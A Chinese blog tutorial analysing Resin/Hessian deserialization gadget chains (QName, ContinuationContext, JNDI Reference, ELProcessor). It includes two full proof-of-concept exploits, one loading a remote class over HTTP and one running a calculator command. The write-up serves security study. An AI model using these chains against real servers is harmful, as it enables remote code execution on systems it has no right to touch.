Resin反序列化
本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。

Resin是什么❓

作为一款高性能的java web服务器,他的角色类似于Apache Tomcat或jetty

为什么反序列化总提到Resin呢?因为其引入了一套独特的数据传输协议,Resin服务器默认深度集成了Hessian协议,Hessian是一种二进制序列化协议

我们通常指的是:我们利用Resin对Hessian协议的处理机制,发送恶意的Hessian序列化数据,当Resin接收并解析数据时,会触发恶意代码执行

链子有多条,我们来一条条分析

QName#toString利用链

jdk 8u65

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Resin</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>Resin Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
  <dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>3.8.1</version>
    <scope>test</scope>
  </dependency>
  <dependency>
        <groupId>com.caucho</groupId>
        <artifactId>resin</artifactId>
        <version>4.0.64</version>
    </dependency>
    </dependencies>
<build>
  <finalName>Resin</finalName>
</build>
</project>

看到QName#toString方法

public String toString()
{
  String name = null;

  for (int i = 0; i < size(); i++) {
    String str = (String) get(i);
     
    if (name != null) {
      try {
        name = _context.composeName(str, name);
      } catch (NamingException e) {
        name = name + "/" + str;
      }
    }
    ······

name我们可以利用构造参数传入,然后发现调用了composeName转过去发现是Context接口的,然后在ContinuationContext调用了此接口

public String composeName(String name, String prefix)
          throws NamingException {
      Context ctx = getTargetContext();
      return ctx.composeName(name, prefix);
  }

跟进getTargetContext()

protected Context getTargetContext() throws NamingException {
      if (contCtx == null) {
          if (cpe.getResolvedObj() == null)
              throw (NamingException)cpe.fillInStackTrace();

          contCtx = NamingManager.getContext(cpe.getResolvedObj(),
                                              cpe.getAltName(),
                                              cpe.getAltNameCtx(),
                                              env);
          if (contCtx == null)
              throw (NamingException)cpe.fillInStackTrace();
      }
      return contCtx;
  }

这里的cpe是从ContinuationContext类的构造方法里的CannotProceedException类的对象,可以通过getResolvedObj将恶意类obj传进去,我们可以用setResolvedObj方法将我们的恶意对象写入

protected ContinuationContext(CannotProceedException cpe,
                      Hashtable<?,?> env) {
      this.cpe = cpe;
      this.env = env;
  }
   
   
   
public void setResolvedObj(Object obj) {
      resolvedObj = obj;
  }

回过头来跟进getContext()

static Context getContext(Object obj, Name name, Context nameCtx,
                            Hashtable<?,?> environment) throws NamingException {
      Object answer;

      if (obj instanceof Context) {
          // %%% Ignore environment for now. OK since method not public.
          return (Context)obj;
      }

      try {
          answer = getObjectInstance(obj, name, nameCtx, environment);
      } catch (NamingException e) {
          throw e;
      } catch (Exception e) {
          NamingException ne = new NamingException();
          ne.setRootCause(e);
          throw ne;
      }

      return (answer instanceof Context)
          ? (Context)answer
          : null;
  }

截止跟进getObjectInstance

跟进过去

static ObjectFactory getObjectFactoryFromReference(
      Reference ref, String factoryName)
      throws IllegalAccessException,
      InstantiationException,
      MalformedURLException {
      Class<?> clas = null;
       
      try {
            clas = helper.loadClass(factoryName);
      } catch (ClassNotFoundException e) {
          // ignore and continue
          // e.printStackTrace();
      }

JNDI引用解析,简单来说:“JNDI 引用解析” 就是把一个描述性的 Reference 对象,转换成一个真实的 Java 实例的过程。而这个过程允许从远程 URL 下载代码

通过URLClassLoader远程加载类

链子1

Hessian2Input#readObject()->
  HashMap#putVal()->
  XString#equals()->
  QName#toString()->
  ContinuationContext#composeName()->
  URLClassLoader#newInstance()

熟悉ROME链的都知道该怎么写了,最后是通过Hession的依赖的反序列化进行RCE的,POC:

package resin;


import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;



public class Resion_poc1 {
public static void main(String[] args) throws Exception {
Reference ref1 = new Reference("resin.EXP","resin.EXP","http://127.0.0.1:8000/");
Class<?> cls = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = cls.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);

//构造好cpe,接下来我们就需要想办法去触发到QName
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(ref1);
Hashtable<String, Object> hashtable = new Hashtable<>();
Context context = (Context) constructor.newInstance(cpe,hashtable);

QName qname = new QName(context,"aaa","bbb");
String unhash = unhash(qname.hashCode());
XString xstring = new XString(unhash);
HashMap hashmap1 = new HashMap();
HashMap hashmap2 = new HashMap();
hashmap1.put("ss",qname);
hashmap1.put("zz",xstring);
hashmap2.put("zz",qname);
hashmap2.put("ss",xstring);
HashMap map = makeMap(hashmap1,hashmap2);


byte[] payload = Hessian2_serialize(map);
Hessian2_unserialize(payload);




}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setFieldValue(map, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
//Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if (target == Integer.MIN_VALUE)
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();

}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

具体分析

QName qname = new QName(context,"aaa","bbb");
String unhash = unhash(qname.hashCode()); // unhash的目的是为了绕过hashmap的hashcode判断,进入equals
XString xString = new XString(unhash);

通过 unhash / unhash0 构造一个字符串,使它的 hashCode()qname.hashCode() 一样, 再用这个字符串创建一个 XString,让 XStringQName 的 hash 一样, 这样在 HashMap 里就能绕过 hash 不等直接过滤的那一层检查,强行让它们进入同一个 “桶”,最终触发 equals() 比较

那么什么要求hash一样呢,在 HashMap 里大致流程是:

先根据 hashCode 算位置(index = hash & (table.length - 1)),同一个桶里再通过 equals() 比较元素是否相等

  • hash 不一样 → 连同一个桶都进不去,equals() 根本不会被调用
  • hash 一样 → 才有机会在同一个桶里,一路走到 equals() 比较

这里要注意hashmap传入的顺序,顺序是关键,原因是因为Resin反序列化就是利用Hessian在反序列化是会触发HashMap的put方法

这里比较有意思的就是,他这里触发的是AbstartMap#hashCode()

这就是为什么我们要让那俩hash相同的原因,因为他这个这里采取的在 HashMap 中,每一个键值对(Entry/Node)的 hashCode 计算公式是:

H(Entry) = H(Key) ^ H(Value),然后才能触发到equals嘛

这里就很明显了,最后变成了

XString.equals(QName)->QName.toString

ResouceRef+ELProccessor RCE 利用链

poc

package resin;

import org.apache.naming.ResourceRef;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.StringRefAddr;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class rome {
public static void main(String[] args) throws Exception {
//Reference refObj = new Reference("Exploit","Exploit","http://localhost:8000/");

String x = "java.lang.Runtime.getRuntime().exec(\\\"open -a Calculator\\\")";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));



Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Hashtable<?, ?> hashtable = new Hashtable<>();

cpe.setResolvedObj(resourceRef);

Context continuationContext = (Context) constructor.newInstance(cpe, hashtable); //通过构造方法获得一个continuationContext对象
QName qname = new QName(continuationContext,"aaa","bbb");

String unhash = unhash(qname.hashCode());
Object obj = HashMap_to_anyequals_to_anytoString(new XString(unhash),qname);

byte[] payload = Hessian2_serialize(obj);
Hessian2_unserialize(payload);
}


public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}


private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}

public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("yy", anyobj_toString);
hashMap1.put("zZ", anyobj_equals);
hashMap2.put("yy", anyobj_equals);
hashMap2.put("zZ", anyobj_toString);

HashMap map = makeMap(hashMap1, hashMap2);
return map;
}


public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();

setValue(map, "size", 2); //设置size为2,就代表着有两组
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(map, "table", tbl);
return map;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}

public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}

以后还是写完就发吧,老是在mac和win直接切换,文章都不好按顺序传

等学校审核评估过去,有时间整理一下博客的标签🏷好好打理一下,太久不顾了,哎哎😭

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇